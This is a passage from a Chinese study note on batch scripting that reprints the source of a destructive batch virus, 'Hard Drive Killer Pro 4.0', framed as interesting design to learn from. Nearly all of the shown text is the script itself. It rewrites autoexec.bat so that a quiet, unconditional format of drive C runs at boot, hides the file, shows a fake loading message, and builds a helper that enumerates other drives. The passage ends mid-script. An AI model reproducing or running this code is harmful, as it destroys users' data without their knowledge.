批处理命令学习笔记——硬盘杀手

下面的这个例子是一个硬盘杀手的批处理病毒（Hard Drive Killer Pro Version 4.0），其命令对于现在的系统可能已经不适用了。不过可以参考一下它的设计方法，还是比较有意思的。

@echo off

rem This program is dedecated to a very special person that does not want to be named.

:start

    cls

    echo PLEASE WAIT WHILE PROGRAM LOADS . . .

    call attrib -r -h c:\autoexec.bat >nul

    echo @echo off >c:\autoexec.bat

    echo call format c: /q /u /autoSample ^>nul >>c:\autoexec.bat

    call attrib +r +h c:\autoexec.bat >nul

    rem Drive checking and assigning the valid drives to the drive variable.

    set drive=

    set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z

    rem code insertion for Drive Checking takes place here.

    rem drivechk.bat is the file name under the root directory.

    rem As far as the drive detection and drive variable settings, dont worry about how it

    rem works, its d\*amn to complicated for the average or even the expert batch programmer.

    rem Except for Tom Lavedas.

    echo @echo off >drivechk.bat

    echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" ^> nul >{t}.bat

    %comspec% /e:2048 /c {t}.bat >>drivechk.bat

    del {t}.bat

    echo if errorlevel 1 goto enddc >>drivechk.bat

    cls

    echo PLEASE WAIT WHILE PROGRAM LOADS . . .

    rem When errorlevel is 1, then the above is not true, if 0, then its true.

    rem Opposite of binary rules. If 0, it will elaps to the next command.

    echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" ^> nul >{t}.bat

    %comspec% /e:2048 /c {t}.bat >>drivechk.bat

    del {t}.bat

    echo if errorlevel 1 goto enddc >>drivechk.bat

    cls

    echo PLEASE WAIT WHILE PROGRAM LOADS . . .

    rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.

    rem if errorlevel is 0, then it will elaps to the next command.

    echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" ^> nul >{t}.bat

    %comspec% /e:2048 /c {t}.bat >>drivechk.bat

    del {t}.bat

    echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat

    cls

    echo PLEASE WAIT WHILE PROGRAM LOADS . . .

    rem if its errorlevel 1, then the specified drive is a hard or floppy drive.

    rem if its not errorlevel 1, then the specified drive is a CD-ROM drive.

    echo :enddc >>drivechk.bat

    rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".

    rem Now we will use the program drivechk.bat to attain valid drive information.
